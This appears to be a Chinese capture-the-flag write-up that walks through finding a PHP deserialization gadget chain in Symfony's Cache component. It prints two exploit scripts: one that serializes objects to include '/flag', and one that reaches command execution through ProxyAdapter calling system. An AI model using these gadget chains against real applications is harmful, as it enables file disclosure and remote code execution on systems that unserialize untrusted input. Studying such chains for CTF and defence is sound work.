巨大CMS。
下载下来后
按照上述dalao的方法,
能找到。
显示给我们的网页的源码。
最下面存在的代码
echo unserialize($payload);
那估计就是反序列化寻找pop链
那么就直接利用phpstorm中搜索全局。
寻找__destruct魔术方法。
有了这个,可以接着这里往下面寻找可利用点。
也就是搜索invalidatetags()
找到了这个利用点。
也就是调用了saveDeferred。
继续找。
这个pool肯定是个对象,向上看看就知道他是一个实现了Adapterinterface接口的类的对象,这里就可以跟其他的类链在了一起,所以只要找到实现了该接口的类,并且这个类里面存在saveDeffed()就可以看看里面有没有可以利用的点,或者是找找可以找找哪些类的call方法可以利用,如果没有saveDeferred(),调用时就会触发call方法
这里用到了phpstorm自带的插件。
这四种是带saveDeferred()的类
第一个就排除了
第二种中找到了如上的一个类。
在本文件中没有找到。看来只能是在父类里面找了。
使用show diagr
可以得到如上效果图。
那就可以直接确定在PhparrayTrait里面的方法。
跟进看,发现了里面有文件包含。
那么就可以正常的构造了。
理一下pop链。
首先序列化点,肯定是最初的__destrcut,
然后走到invaxxxx的那个类,有调用
$this->pool->saveDefeffed(),所以pool值就是我们要用的'/flag'
而Savedefereed入口是cacheiteminterface的对象,也就是实现了该接口的类的对象,而从文件头use引入的类中可以看到cacheitem类,我们跟进,因此只需要定义$this->deferred = array('xxx' => new CacheItem());
因为在不同命名空间中,所以这两个的花括号要分开。
放exp:
<?php
namespace Symfony\Component\Cache{
final class CacheItem{
}
}
namespace Symfony\Component\Cache\Adapter{
use Symfony\Component\Cache\CacheItem;
class phpArrayAdapter{
private $file;
public function __construct()
{
$this->file='/flag';
}
}
class TagAwareAdapter
{
private $deffered = [];
private $pool;
public function __construct()
{
$this->deffered = array('xxx' => new CacheItem());
$this->pool = new PhpArrayAdapter();
}
}
$obj=new TagAwareAdapter();
echo serialize($obj);
}
那么接着看第三个文件。
第三个文件中存在RCE。
exp:
<?php
namespace Symfony\Component\Cache;
class CacheItem{
protected $innerItem = "id";
protected $poolHash = "tr1ple";
}
namespace Symfony\Component\Cache\Adapter;
use Symfony\Component\Cache\CacheItem;
class TagAwareAdapter
{
private $deferred;
public function __construct($x)
{
$this->pool = $x;
$this->deferred=array("1" => new CacheItem());
}
}
class ProxyAdapter
{
private $setInnerItem;
private $poolHash;
public function __construct()
{
$this->setInnerItem = "system";
$this->poolHash = "tr1ple";
}
}
$a = new TagAwareAdapter(new ProxyAdapter());
echo urlencode(serialize($a));
里面有一处执行了system 所以可以利用。
其余两个一个是和第一个相同自调用,一个无动态调用。所以均无法利用。
感谢dalao博客的帮助:https://www.cnblogs.com/tr1ple/p/11263051.html#JwE4BX4X